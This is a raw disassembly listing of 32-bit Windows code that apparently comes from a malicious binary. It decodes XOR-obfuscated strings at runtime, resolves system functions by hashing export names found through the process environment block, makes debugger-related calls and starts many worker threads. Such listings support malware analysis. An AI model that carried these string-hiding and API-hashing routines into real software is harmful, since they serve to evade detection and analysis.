mov al, byte [ecx]
inc ecx
test al, al
jne 0x47a8d6
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x848]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x117], 0xa1aa
movq qword [esp + 0x119], xmm0
xor ecx, ecx
mov byte [esp + 0x121], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x117], al
inc ecx
cmp ecx, 2
jb 0x47a910
lea eax, [esp + 0x117]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x514]
mov byte [esp + 0x11d], 0
call fcn.00402a50
lea ecx, [esp + 0x510]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x85c]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47a966
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x860]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x143], 0xb6be
movq qword [esp + 0x145], xmm0
xor ecx, ecx
mov byte [esp + 0x14d], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x143], al
inc ecx
cmp ecx, 2
jb 0x47a9a0
lea eax, [esp + 0x143]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x4fc]
mov byte [esp + 0x149], 0
call fcn.00402a50
lea ecx, [esp + 0x4f8]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x874]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47a9f6
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x878]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x14e], 0xa8a6
movq qword [esp + 0x150], xmm0
xor ecx, ecx
mov byte [esp + 0x158], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x14e], al
inc ecx
cmp ecx, 2
jb 0x47aa30
lea eax, [esp + 0x14e]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x4e4]
mov byte [esp + 0x154], 0
call fcn.00402a50
lea ecx, [esp + 0x4e0]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x88c]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47aa86
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x890]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0xf6], 0xaba0
movq qword [esp + 0xf8], xmm0
xor ecx, ecx
mov byte [esp + 0x100], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0xf6], al
inc ecx
cmp ecx, 2
jb 0x47aac0
lea eax, [esp + 0xf6]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x4cc]
mov byte [esp + 0xfc], 0
call fcn.00402a50
lea ecx, [esp + 0x4c8]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x8a4]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47ab16
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x8a8]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x101], 0xa6bf
movq qword [esp + 0x103], xmm0
xor ecx, ecx
mov byte [esp + 0x10b], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x101], al
inc ecx
cmp ecx, 2
jb 0x47ab50
lea eax, [esp + 0x101]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x4b4]
mov byte [esp + 0x107], 0
call fcn.00402a50
lea ecx, [esp + 0x4b0]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x8bc]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47aba6
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x8c0]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x10c], 0xadbe
movq qword [esp + 0x10e], xmm0
xor ecx, ecx
mov byte [esp + 0x116], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x10c], al
inc ecx
cmp ecx, 2
jb 0x47abe0
lea eax, [esp + 0x10c]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x49c]
mov byte [esp + 0x112], 0
call fcn.00402a50
lea ecx, [esp + 0x498]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x8d4]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47ac36
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x8d8]
call fcn.00402b20
xorps xmm0, xmm0
mov word [esp + 0x46], 0xb6aa
movq qword [esp + 0x48], xmm0
xor ecx, ecx
mov byte [esp + 0x50], 0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x46], al
inc ecx
cmp ecx, 2
jb 0x47ac64
lea eax, [esp + 0x46]
mov dword [0x558548], ecx
push eax
lea ecx, [esp + 0x484]
mov byte [esp + 0x4c], 0
call fcn.00402a50
lea ecx, [esp + 0x480]
call fcn.00402af0
push dword [esp + 0x20]
lea ecx, [esp + 0x8ec]
mov esi, eax
call fcn.00402b00
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47acb1
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x8f0]
call fcn.00402b20
lea ecx, [esp + 0x18]
lea edi, [esp + 0x810]
lea esi, [esp + 0x900]
call fcn.00480ec0
lea ecx, [esp + 0x63]
push ecx
push eax
lea ecx, [esp + 0x3f0]
call fcn.00480e20
push esi
push edi
lea ecx, [esp + 0x3f0]
call fcn.00480de0
push fcn.004029b0
push 0xa
push 0x18
mov eax, edi
push eax
call fcn.004f7c55
lea ecx, [esp + 0x480]
call fcn.004029b0
lea ecx, [esp + 0x498]
call fcn.004029b0
lea ecx, [esp + 0x4b0]
call fcn.004029b0
lea ecx, [esp + 0x4c8]
call fcn.004029b0
lea ecx, [esp + 0x4e0]
call fcn.004029b0
lea ecx, [esp + 0x4f8]
call fcn.004029b0
lea ecx, [esp + 0x510]
call fcn.004029b0
lea ecx, [esp + 0x528]
call fcn.004029b0
lea ecx, [esp + 0x540]
call fcn.004029b0
lea ecx, [esp + 0x558]
call fcn.004029b0
lea eax, [esp + 0x328]
push eax
lea ecx, [esp + 0x3ec]
call fcn.00484820
test eax, eax
je 0x47ae44
movaps xmm0, xmmword [0x545bf0]
xor ecx, ecx
movups xmmword [esp + 0x2f2], xmm0
mov word [esp + 0x302], 0x8f88
xorps xmm0, xmm0
mov byte [esp + 0x30c], 0
movq qword [esp + 0x304], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x2f2], al
inc ecx
cmp ecx, 0x12
jb 0x47add3
lea eax, [esp + 0x2f2]
mov dword [0x55858c], ecx
push eax
lea ecx, [esp + 0x574]
mov byte [esp + 0x308], 0
call fcn.00402a50
lea ecx, [esp + 0x570]
call fcn.00402af0
push 0x53eab0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x570]
mov esi, eax
call fcn.004029b0
test esi, esi
je 0x47ae44
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.5445dfg
call edi
call fcn.004241e0
call fcn.00424250
call fcn.004242c0
call fcn.00424330
cmp byte [0x558048], 1
jne 0x47af06
mov ecx, 0x558048
call fcn.0047d340
test al, al
jne 0x47af06
movaps xmm0, xmmword [0x543d00]
xor ecx, ecx
mov dword [esp + 0x209], 0x8c8c9e8c
movups xmmword [esp + 0x20d], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x209], al
inc ecx
cmp ecx, 0xb
jb 0x47aea0
lea eax, [esp + 0x209]
mov dword [0x5584e0], ecx
push eax
lea ecx, [esp + 0x58c]
mov byte [esp + 0x218], 0
call fcn.00402a50
lea ecx, [esp + 0x588]
mov dword [esp + 0x3c], 1
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.0047d330
test al, al
je 0x47af06
mov bl, 1
mov eax, 1
jmp 0x47af0c
mov eax, dword [esp + 0x3c]
xor bl, bl
test al, 1
je 0x47af1c
lea ecx, [esp + 0x588]
call fcn.004029b0
test bl, bl
je 0x47b412
movaps xmm0, xmmword [0x543d00]
xor ecx, ecx
mov dword [esp + 0x21d], 0x8c8c9e8c
movups xmmword [esp + 0x221], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x21d], al
inc ecx
cmp ecx, 0xb
jb 0x47af40
lea eax, [esp + 0x21d]
mov dword [0x5584e0], ecx
push eax
lea ecx, [esp + 0x5a4]
mov byte [esp + 0x22c], 0
call fcn.00402a50
lea ecx, [esp + 0x5a0]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x5a0]
mov byte [0x555aab], al
call fcn.004029b0
movaps xmm0, xmmword [0x543a20]
xor ecx, ecx
movups xmmword [esp + 0x53], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x53], al
inc ecx
cmp ecx, 7
jb 0x47afb0
lea eax, [esp + 0x53]
mov dword [0x558510], ecx
push eax
lea ecx, [esp + 0x5bc]
mov byte [esp + 0x5e], 0
call fcn.00402a50
lea ecx, [esp + 0x5b8]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x5b8]
mov byte [0x555ab5], al
call fcn.004029b0
movaps xmm0, xmmword [0x543310]
xor ecx, ecx
movups xmmword [esp + 0x53], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x53], al
inc ecx
cmp ecx, 7
jb 0x47b017
lea eax, [esp + 0x53]
mov dword [0x558510], ecx
push eax
lea ecx, [esp + 0x5d4]
mov byte [esp + 0x5e], 0
call fcn.00402a50
lea ecx, [esp + 0x5d0]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x5d0]
mov byte [0x555aaa], al
call fcn.004029b0
movaps xmm0, xmmword [0x5433b0]
xor ecx, ecx
mov dword [esp + 0x19b], 0x8c8c9e8c
mov byte [esp + 0x19f], 0xb0
movups xmmword [esp + 0x1a0], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x19b], al
inc ecx
cmp ecx, 0xc
jb 0x47b094
lea eax, [esp + 0x19b]
mov dword [0x5584d8], ecx
push eax
lea ecx, [esp + 0x5ec]
mov byte [esp + 0x1ab], 0
call fcn.00402a50
lea ecx, [esp + 0x5e8]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x5e8]
mov byte [0x555aa9], al
call fcn.004029b0
movaps xmm0, xmmword [0x543770]
xor ecx, ecx
mov dword [esp + 0x185], 0x8c8c9e8c
mov word [esp + 0x189], 0x99b0
movups xmmword [esp + 0x18b], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x185], al
inc ecx
cmp ecx, 0xd
jb 0x47b120
lea eax, [esp + 0x185]
mov dword [0x55852c], ecx
push eax
lea ecx, [esp + 0x76c]
mov byte [esp + 0x196], 0
call fcn.00402a50
lea ecx, [esp + 0x768]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x768]
mov byte [0x555ab4], al
call fcn.004029b0
movaps xmm0, xmmword [0x5432a0]
xor ecx, ecx
mov byte [esp + 0x28c], 0x8c
movups xmmword [esp + 0x28d], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x28c], al
inc ecx
cmp ecx, 8
jb 0x47b1a0
lea eax, [esp + 0x28c]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x61c]
mov byte [esp + 0x298], 0
call fcn.00402a50
lea ecx, [esp + 0x618]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x618]
mov byte [0x555ab6], al
call fcn.004029b0
movaps xmm0, xmmword [0x543550]
xor ecx, ecx
mov word [esp + 0x231], 0x9e8c
mov byte [esp + 0x233], 0x8c
movups xmmword [esp + 0x234], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x231], al
inc ecx
cmp ecx, 0xa
jb 0x47b225
lea eax, [esp + 0x231]
mov dword [0x558590], ecx
push eax
lea ecx, [esp + 0x634]
mov byte [esp + 0x23f], 0
call fcn.00402a50
lea ecx, [esp + 0x630]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x630]
mov byte [0x555aa8], al
call fcn.004029b0
movaps xmm0, xmmword [0x5435e0]
xor ecx, ecx
mov dword [esp + 0x16d], 0x8c8c9e8c
mov dword [esp + 0x171], 0x81949db0
movups xmmword [esp + 0x175], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x16d], al
inc ecx
cmp ecx, 0xf
jb 0x47b2b0
lea eax, [esp + 0x16d]
mov dword [0x558508], ecx
push eax
lea ecx, [esp + 0x64c]
mov byte [esp + 0x180], 0
call fcn.00402a50
lea ecx, [esp + 0x648]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x648]
mov byte [0x555ab8], al
call fcn.004029b0
movaps xmm0, xmmword [0x543d50]
xor ecx, ecx
mov byte [esp + 0x29d], 0x8c
movups xmmword [esp + 0x29e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x29d], al
inc ecx
cmp ecx, 8
jb 0x47b330
lea eax, [esp + 0x29d]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x664]
mov byte [esp + 0x2a9], 0
call fcn.00402a50
lea ecx, [esp + 0x660]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x660]
mov byte [0x555ab7], al
call fcn.004029b0
movaps xmm0, xmmword [0x543890]
xor ecx, ecx
mov byte [esp + 0x2ae], 0x9e
movups xmmword [esp + 0x2af], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x2ae], al
inc ecx
cmp ecx, 8
jb 0x47b3b0
lea eax, [esp + 0x2ae]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x67c]
mov byte [esp + 0x2ba], 0
call fcn.00402a50
lea ecx, [esp + 0x678]
call fcn.00402af0
push eax
mov ecx, 0x558048
call fcn.00483b70
mov ecx, eax
call fcn.00484570
lea ecx, [esp + 0x678]
mov byte [0x557e32], al
call fcn.004029b0
cmp byte [0x557e33], 0
jne 0x47c608
call fcn.0045d9b0
call fcn.00461510
push str.5yh45
call edi
mov ecx, 0x557fc4
call fcn.0047cc00
mov ecx, 0x5580e8
call fcn.0047cc00
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x462640
push 0
push 0
call esi
push 0
push 0
push 0
push 0x463c20
push 0
push 0
mov dword [esp + 0xe8], eax
call esi
push 0
push 0
push 0
push 0x46a910
push 0
push 0
mov dword [esp + 0xec], eax
call esi
mov dword [esp + 0xd8], eax
call fcn.00448400
test al, al
je 0x47b5b0
lea ecx, [esp + 0x1b0]
call fcn.00448ab0
xorps xmm0, xmm0
mov dword [esp + 0x64], 0x878a8387
mov ebx, eax
mov word [esp + 0x68], 0x8381
movq qword [esp + 0x6a], xmm0
xor ecx, ecx
mov byte [esp + 0x72], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 6
jb 0x47b4d0
lea eax, [esp + 0x64]
mov dword [0x5584f8], ecx
push eax
lea ecx, [esp + 0x6ac]
mov byte [esp + 0x6e], 0
call fcn.00402a50
lea ecx, [esp + 0x6a8]
call fcn.00402af0
movaps xmm0, xmmword [0x544100]
mov edi, eax
mov byte [esp + 0x2bf], 0xbd
xor ecx, ecx
movups xmmword [esp + 0x2c0], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x2bf], al
inc ecx
cmp ecx, 8
jb 0x47b521
lea eax, [esp + 0x2bf]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x694]
mov byte [esp + 0x2cb], 0
call fcn.00402a50
sub esp, 0x10
mov ecx, ebx
mov esi, esp
push edi
call fcn.00483b70
push eax
mov ecx, esi
call fcn.0047d620
lea ecx, [esp + 0x6a0]
call fcn.00402af0
push eax
mov ecx, 0x558080
call fcn.00483b70
mov ecx, eax
call fcn.0047d5e0
lea ecx, [esp + 0x690]
call fcn.004029b0
lea ecx, [esp + 0x6a8]
call fcn.004029b0
lea ecx, [esp + 0x1b0]
call fcn.0047d5c0
call fcn.00448a80
lea ecx, [esp + 0x1c8]
call fcn.00449dc0
xorps xmm0, xmm0
mov dword [esp + 0x73], 0x878a8387
mov ebx, eax
mov word [esp + 0x77], 0x8381
movq qword [esp + 0x79], xmm0
xor ecx, ecx
mov byte [esp + 0x81], 0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x73], al
inc ecx
cmp ecx, 6
jb 0x47b5e0
lea eax, [esp + 0x73]
mov dword [0x5584f8], ecx
push eax
lea ecx, [esp + 0x6dc]
mov byte [esp + 0x7d], 0
call fcn.00402a50
lea ecx, [esp + 0x6d8]
call fcn.00402af0
movaps xmm0, xmmword [0x545890]
mov edi, eax
movups xmmword [esp + 0x30d], xmm0
mov word [esp + 0x31d], 0x8f97
xor ecx, ecx
xorps xmm0, xmm0
mov byte [esp + 0x327], 0
movq qword [esp + 0x31f], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x30d], al
inc ecx
cmp ecx, 0x12
jb 0x47b650
lea eax, [esp + 0x30d]
mov dword [0x55858c], ecx
push eax
lea ecx, [esp + 0x6c4]
mov byte [esp + 0x323], 0
call fcn.00402a50
sub esp, 0x10
mov ecx, ebx
mov esi, esp
push edi
call fcn.00483b70
push eax
mov ecx, esi
call fcn.0047d620
lea ecx, [esp + 0x6d0]
call fcn.00402af0
push eax
mov ecx, 0x558080
call fcn.00483b70
mov ecx, eax
call fcn.0047d5e0
lea ecx, [esp + 0x6c0]
call fcn.004029b0
lea ecx, [esp + 0x6d8]
call fcn.004029b0
lea ecx, [esp + 0x1c8]
call fcn.0047d5c0
mov eax, dword fs:[0x30]
mov dword [esp + 0x3c], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47b754
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47b754
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47b74d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47b730
cmp esi, 0x71948ca4
je 0x47b758
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47b717
mov eax, dword [eax]
jmp 0x47b6f0
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x3c]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xd0]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
push 0
push 0x4350d3ed
call fcn.00408010
add esp, 8
push eax
push dword [esp + 0xd8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x3c], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47b829
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47b829
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47b822
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47b805
cmp esi, 0x71948ca4
je 0x47b82d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47b7f0
mov eax, dword [eax]
jmp 0x47b7c2
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x3c]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xd8]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47b8d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47b8d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47b8d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47b8b5
cmp esi, 0xfaba0065
je 0x47b8dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47b8a0
mov eax, dword [eax]
jmp 0x47b872
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0xd0]
add esi, edx
call fcn.00481850
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47b979
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47b979
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47b972
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47b955
cmp esi, 0xfaba0065
je 0x47b97d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47b940
mov eax, dword [eax]
jmp 0x47b916
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0xd4]
add esi, edx
call fcn.00481850
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47ba19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47ba19
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47ba12
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47b9f5
cmp esi, 0xfaba0065
je 0x47ba1d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47b9e0
mov eax, dword [eax]
jmp 0x47b9b6
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0xd8]
add esi, edx
call fcn.00481850
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x46b2f0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x46de10
push 0
push 0
mov dword [esp + 0xf4], eax
call ebx
push 0
push 0
push 0
push 0x470900
push 0
push 0
mov dword [esp + 0xf8], eax
call ebx
push 0
push 0
push 0
push 0x472f10
push 0
push 0
mov dword [esp + 0x54], eax
call ebx
push 0
push 0
push 0
push 0x476460
push 0
push 0
mov dword [esp + 0x108], eax
call ebx
push 0
push 0
push 0
push 0x4766d0
push 0
push 0
mov dword [esp + 0xfc], eax
call ebx
push 0
push 0
push 0
push 0x478e80
push 0
push 0
mov dword [esp + 0x100], eax
call ebx
sub esp, 0x18
mov dword [esp + 0x104], eax
mov ecx, esp
push 0x555ad4
call fcn.0047faa0
sub esp, 0x18
lea eax, [esp + 0x3b8]
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov ecx, esp
lea eax, [esp + 0x3b8]
push eax
call fcn.0047faa0
sub esp, 0x18
mov ecx, esp
push 0x555aec
call fcn.0047faa0
call fcn.0040e650
mov eax, dword fs:[0x30]
add esp, 0x60
mov dword [esp + 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47bbb9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bbb9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47bbb2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bb95
cmp esi, 0x71948ca4
je 0x47bbbd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bb80
mov eax, dword [eax]
jmp 0x47bb53
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x34]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xdc]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [esp + 0x18], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x34], ecx
cmp ecx, esi
je 0x47bc74
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bc74
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
